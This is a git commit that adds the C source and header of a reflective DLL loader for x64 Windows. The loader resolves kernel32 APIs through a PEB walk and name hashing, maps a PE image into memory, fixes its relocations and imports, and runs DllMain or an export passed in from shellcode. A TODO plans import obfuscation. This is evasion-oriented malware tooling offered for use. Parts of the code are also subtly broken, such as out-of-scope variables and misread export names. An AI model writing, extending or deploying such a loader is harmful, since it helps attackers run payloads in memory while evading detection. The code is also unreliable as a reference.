loader base without obfuscations

This commit is contained in:
17ms 2023-12-23 23:29:31 +02:00
parent 7d23b1d1e1
commit e3918bae17
2 changed files with 453 additions and 0 deletions

398
reflective-loader/loader.c Normal file
View File

@ -0,0 +1,398 @@
#include "loader.h"
#include <windows.h>
#include <winternl.h>
void Load(PBYTE pImage, DWORD dwFunctionHash, PVOID pvUserData, DWORD dwUserDataLen, PVOID pvShellcodeBase, DWORD dwFlags)
{
if (!pImage)
{
return;
}
/*
1.) Locate the required functions and modules from exports with their hashed names
*/
HMODULE hKernel32 = GetModuleAddrFromHash(KERNEL32_DLL_HASH);
if (!hKernel32)
{
return;
}
FARPROC pLoadLibraryA = GetExportAddrFromHash(hKernel32, LOAD_LIBRARY_A_HASH);
FARPROC pGetProcAddress = GetExportAddrFromHash(hKernel32, GET_PROC_ADDRESS_HASH);
FARPROC pVirtualAlloc = GetExportAddrFromHash(hKernel32, VIRTUAL_ALLOC_HASH);
FARPROC pFlushInstructionCache = GetExportAddrFromHash(hKernel32, FLUSH_INSTRUCTION_CACHE_HASH);
FARPROC pVirtualProtect = GetExportAddrFromHash(hKernel32, VIRTUAL_PROTECT_HASH);
FARPROC pSleep = GetExportAddrFromHash(hKernel32, SLEEP_HASH);
if (!pLoadLibraryA || !pGetProcAddress || !pVirtualAlloc || !pFlushInstructionCache || !pVirtualProtect || !pSleep)
{
return;
}
/*
2.) Load the target image to a newly allocated permanent memory location with RW permissions
- https://github.com/fancycode/MemoryModule/blob/master/MemoryModule.c
*/
PIMAGE_NT_HEADERS64 pNtHeaders = GetNtHeaders(pImage);
if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE)
{
return;
}
if (pNtHeaders->FileHeader.Machine != IMAGE_FILE_MACHINE_AMD64)
{
return;
}
if (pNtHeaders->OptionalHeader.SectionAlignment & 1)
{
return;
}
DWORD dwImageSize = pNtHeaders->OptionalHeader.SizeOfImage;
ULONGLONG ullPreferredImageBase = pNtHeaders->OptionalHeader.ImageBase;
// Try to allocate the image to the preferred base address
PBYTE pNewImageBase = (PBYTE)pVirtualAlloc((LPVOID)ullPreferredImageBase, dwImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (!pNewImageBase)
{
// Allocate to a random address if the preferred base address is already occupied
pNewImageBase = (PBYTE)pVirtualAlloc(NULL, dwImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
}
CopySections(pNewImageBase, pImage, pNtHeaders);
memcpy(pNewImageBase, pImage, pNtHeaders->OptionalHeader.SizeOfHeaders);
/*
3.) Process the image relocations (assumes the image couldn't be loaded to the preferred base address)
*/
ULONG_PTR ulpDelta = pNewImageBase - pNtHeaders->OptionalHeader.ImageBase;
PIMAGE_DATA_DIRECTORY pDataDirectory = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
if (!ProcessRelocations(pNewImageBase, pDataDirectory, ulpDelta))
{
return;
}
/*
4.) Resolve the imports by patching the Import Address Table (IAT)
*/
if (!PatchImportAddressTable(pNewImageBase, pDataDirectory, pGetProcAddress))
{
return;
}
/*
5.) Finalize the sections by setting protective permissions after mapping the image
*/
FinalizeRelocations(pNewImageBase, pNtHeaders, pVirtualProtect, pFlushInstructionCache);
/*
6.) Execute DllMain or user defined function depending on the flag passed into the shellcode by the generator
*/
if (dwFlags == 0)
{
// Execute DllMain with DLL_PROCESS_ATTACH
DLLMAIN pDllMain = (DLLMAIN)(pNewImageBase + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
pDllMain((HINSTANCE)pNewImageBase, DLL_PROCESS_ATTACH, NULL);
}
else
{
// Execute user defined function
FARPROC pFunction = GetExportAddrFromHash((HMODULE)pNewImageBase, dwFunctionHash);
pFunction(pvUserData, dwUserDataLen);
}
}
void FinalizeRelocations(PBYTE pNewImageBase, PIMAGE_NT_HEADERS64 pNtHeaders, FARPROC pVirtualProtect, FARPROC pFlushInstructionCache)
{
PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders);
for (size_t i = 0; i < pNtHeaders->FileHeader.NumberOfSections; pSectionHeader++, i++)
{
DWORD dwOldProtect;
DWORD dwNewProtect;
// Definitions for readability
DWORD dwIsExecutable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE) != 0;
DWORD dwIsReadable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_READ) != 0;
DWORD dwIsWritable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_WRITE) != 0;
if (!dwIsExecutable && !dwIsReadable && !dwIsWritable)
{
dwNewProtect = PAGE_NOACCESS;
}
if (dwIsWritable)
{
dwNewProtect = PAGE_WRITECOPY;
}
if (dwIsReadable)
{
dwNewProtect = PAGE_READONLY;
}
if (dwIsWritable && dwIsReadable)
{
dwNewProtect = PAGE_READWRITE;
}
if (dwIsExecutable)
{
dwNewProtect = PAGE_EXECUTE;
}
if (dwIsExecutable && dwIsWritable)
{
dwNewProtect = PAGE_EXECUTE_WRITECOPY;
}
if (dwIsExecutable && dwIsReadable)
{
dwNewProtect = PAGE_EXECUTE_READ;
}
if (dwIsExecutable && dwIsWritable && dwIsReadable)
{
dwNewProtect = PAGE_EXECUTE_READWRITE;
}
pVirtualProtect(pNewImageBase + pSectionHeader->VirtualAddress, pSectionHeader->SizeOfRawData, dwNewProtect, &dwOldProtect);
}
pFlushInstructionCache(-1, NULL, 0);
}
BOOL PatchImportAddressTable(PBYTE pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, FARPROC pGetProcAddress)
{
PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(pNewImageBase + pDataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
if (!pImportDescriptor)
{
return FALSE;
}
/*
TODO: obfuscate the import resolution by delaying the resolution of imports
-> implementation stolen from https://github.com/monoxgas/sRDI/blob/master/ShellcodeRDI/ShellcodeRDI.c#L391
1. read the IMAGE_IMPORT_DESCRIPTOR structure from the IAT
2. calculate randomized order based on the number of imports
*/
// DWORD dwImportCount = 0;
while (pImportDescriptor->Name)
{
HMODULE hModule = pLoadLibraryA((LPCSTR)(pNewImageBase + pImportDescriptor->Name));
if (!hModule)
{
return FALSE;
}
PIMAGE_THUNK_DATA64 pThunkData = (PIMAGE_THUNK_DATA64)(pNewImageBase + pImportDescriptor->OriginalFirstThunk);
PIMAGE_THUNK_DATA64 pThunkDataIat = (PIMAGE_THUNK_DATA64)(pNewImageBase + pImportDescriptor->FirstThunk);
while (pThunkData->u1.Function)
{
if (pThunkData->u1.Ordinal & IMAGE_ORDINAL_FLAG64)
{
// High bits masked out to get the ordinal number
pThunkDataIat->u1.Function = (ULONGLONG)pGetProcAddress(hModule, (LPCSTR)(pThunkData->u1.Ordinal & 0xFFFF));
}
else
{
// The address of the imported function is stored in the IMAGE_IMPORT_BY_NAME structure
PIMAGE_IMPORT_BY_NAME pImportByName = (PIMAGE_IMPORT_BY_NAME)(pNewImageBase + pThunkData->u1.AddressOfData);
pThunkDataIat->u1.Function = (ULONGLONG)pGetProcAddress(hModule, (LPCSTR)pImportByName->Name);
}
pThunkData++;
pThunkDataIat++;
}
pImportDescriptor++;
}
return TRUE;
}
BOOL ProcessRelocations(PBYTE pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, ULONG_PTR ulpDelta)
{
PIMAGE_BASE_RELOCATION pRelocation = (PIMAGE_BASE_RELOCATION)(pNewImageBase + pDataDirectory->VirtualAddress);
if (pRelocation == NULL || pDataDirectory->Size == 0)
{
return FALSE;
}
// Upper bound to prevent accessing memory part the end of the relocation data
DWORD dwRelocationEnd = pDataDirectory->VirtualAddress + pDataDirectory->Size;
PIMAGE_RELOC pRelocationList;
while (pRelocation->VirtualAddress && pRelocation->VirtualAddress <= dwRelocationEnd && pRelocation->SizeOfBlock)
{
pRelocationList = (PIMAGE_RELOC)(pRelocation + 1);
while ((PBYTE)pRelocationList < (PBYTE)pRelocation + pRelocation->SizeOfBlock)
{
switch (pRelocationList->type)
{
case IMAGE_REL_BASED_DIR64:
// Apply the difference to the 64-bit field at offset
*(PULONG_PTR)(pNewImageBase + pRelocation->VirtualAddress + pRelocationList->offset) += ulpDelta;
break;
case IMAGE_REL_BASED_HIGHLOW:
// Base relocation applies all 32 bits of the difference tothe 32-bit field at offset
*(PULONG_PTR)(pNewImageBase + pRelocation->VirtualAddress + pRelocationList->offset) += (DWORD)ulpDelta;
break;
case IMAGE_REL_BASED_HIGH:
// Base relocation adds the high 16 bits of the difference to the 16-bit field at offset
*(PULONG_PTR)(pNewImageBase + pRelocation->VirtualAddress + pRelocationList->offset) += HIWORD(ulpDelta);
break;
case IMAGE_REL_BASED_LOW:
// Base relocation adds the low 16 bits of the difference to the 16-bit field at offset
*(PULONG_PTR)(pNewImageBase + pRelocation->VirtualAddress + pRelocationList->offset) += LOWORD(ulpDelta);
break;
default:
break;
}
pRelocationList++;
}
pRelocation = (PIMAGE_BASE_RELOCATION)pRelocationList;
}
return TRUE;
}
void CopySections(PBYTE pNewImageBase, PVOID pImage, PIMAGE_NT_HEADERS64 pNtHeaders)
{
PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders);
PBYTE pSectionBase, pSectionData;
for (size_t i = 0; i < pNtHeaders->FileHeader.NumberOfSections; pSectionHeader++, i++)
{
pSectionBase = pNewImageBase + pSectionHeader->VirtualAddress;
pSectionData = pImage + pSectionHeader->PointerToRawData;
memcpy(pSectionBase, pSectionData, pSectionHeader->SizeOfRawData);
}
}
HMODULE GetModuleAddrFromHash(DWORD dwHash)
{
#if defined(_WIN64)
PPEB pPeb = (PPEB)__readgsqword(0x60);
#else
PPEB pPeb = (PPEB)__readfsdword(0x30);
#endif
PMY_PEB_LDR_DATA pLdr = pPeb->Ldr;
PMY_LDR_DATA_TABLE_ENTRY pEntry = pLdr->InLoadOrderModuleList.Flink;
DWORD dwModuleHash;
UNICODE_STRING strBaseDllName;
while (pEntry->DllBase != NULL)
{
strBaseDllName = pEntry->BaseDllName;
dwModuleHash = CalculateHash(&strBaseDllName);
if (dwModuleHash == dwHash)
{
return pEntry->DllBase;
}
pEntry = pEntry->InLoadOrderLinks.Flink;
}
return NULL;
}
FARPROC GetExportAddrFromHash(HMODULE hModule, DWORD dwHash)
{
PIMAGE_NT_HEADERS64 pNtHeaders = GetNtHeaders((PBYTE)hModule);
if (pNtHeaders == NULL)
{
return NULL;
}
IMAGE_DATA_DIRECTORY *pExportDirectory = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
IMAGE_EXPORT_DIRECTORY *pExportDirectoryData = (IMAGE_EXPORT_DIRECTORY *)((PBYTE)hModule + pExportDirectory->VirtualAddress);
DWORD dwNameRva, dwNameHash, dwFuncRva;
WORD wOrdinal;
UNICODE_STRING *strBaseDllName;
for (size_t i = 0; i < pExportDirectoryData->NumberOfNames; i++)
{
dwNameRva = ((DWORD *)((PBYTE)hModule + pExportDirectoryData->AddressOfNames))[i];
strBaseDllName = (UNICODE_STRING *)((PBYTE)hModule + dwNameRva);
dwNameHash = CalculateHash(strBaseDllName);
if (dwNameHash == dwHash)
{
wOrdinal = ((WORD *)((PBYTE)hModule + pExportDirectoryData->AddressOfNameOrdinals))[i];
dwFuncRva = ((DWORD *)((PBYTE)hModule + pExportDirectoryData->AddressOfFunctions))[wOrdinal];
return (FARPROC)((PBYTE)hModule + dwFuncRva);
}
}
}
PIMAGE_NT_HEADERS64 GetNtHeaders(PBYTE pImage)
{
IMAGE_DOS_HEADER *pDosHeader = (IMAGE_DOS_HEADER *)pImage;
if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
{
return NULL;
}
PIMAGE_NT_HEADERS64 pNtHeaders = (PIMAGE_NT_HEADERS64)(pImage + pDosHeader->e_lfanew);
if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE)
{
return NULL;
}
return pNtHeaders;
}
DWORD CalculateHash(UNICODE_STRING *baseDllName)
{
DWORD dwHash = HASH_KEY;
PWSTR pwszBaseDllName = baseDllName->Buffer;
char ch;
for (size_t i = 0; i < baseDllName->MaximumLength; i++)
{
ch = (char)pwszBaseDllName[i];
if (ch == '\0')
{
continue;
}
if (ch >= 'a' && ch <= 'z')
{
ch -= 0x20;
}
dwHash = ((dwHash << 5) + dwHash) + (DWORD)ch;
}
return dwHash;
}

View File

@ -0,0 +1,55 @@
#pragma once
#include <windows.h>
#include <subauth.h>
#define IMPORT_DELAY 6 * 1000 * 1000
#define HASH_KEY 5381
#define KERNEL32_DLL_HASH 0x6DDB9555
// #define NTDLL_DLL_HASH 0x1EDAB0ED
#define LOAD_LIBRARY_A_HASH 0xB7072FDB // TODO: change to LoadLibraryW
#define GET_PROC_ADDRESS_HASH 0xDECFC1BF
#define VIRTUAL_ALLOC_HASH 0x097BC257
#define FLUSH_INSTRUCTION_CACHE_HASH 0xEFB7BF9D
#define VIRTUAL_PROTECT_HASH 0xE857500D
#define SLEEP_HASH 0x0E07CD7E
typedef BOOL(WINAPI *DLLMAIN)(HMODULE, DWORD, LPVOID);
typedef struct _MY_PEB_LDR_DATA
{
ULONG Length;
BOOL Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} MY_PEB_LDR_DATA, *PMY_PEB_LDR_DATA;
typedef struct _MY_LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
} MY_LDR_DATA_TABLE_ENTRY, *PMY_LDR_DATA_TABLE_ENTRY;
typedef struct
{
WORD offset : 12;
WORD type : 4;
} IMAGE_RELOC, *PIMAGE_RELOC;
DWORD CalculateHash(UNICODE_STRING *BaseDllName);
HMODULE GetModuleAddrFromHash(DWORD dwHash);
FARPROC GetExportAddrFromHash(HMODULE hModule, DWORD dwHash);
void CopySections(PBYTE pNewImageBase, PVOID pImage, PIMAGE_NT_HEADERS64 pNtHeaders);
BOOL ProcessRelocations(PBYTE pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, ULONG_PTR ulpDelta);
BOOL PatchImportAddressTable(PBYTE pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, FARPROC pGetProcAddress);
void FinalizeRelocations(PBYTE pNewImageBase, PIMAGE_NT_HEADERS64 pNtHeaders, FARPROC pVirtualProtect, FARPROC pFlushInstructionCache);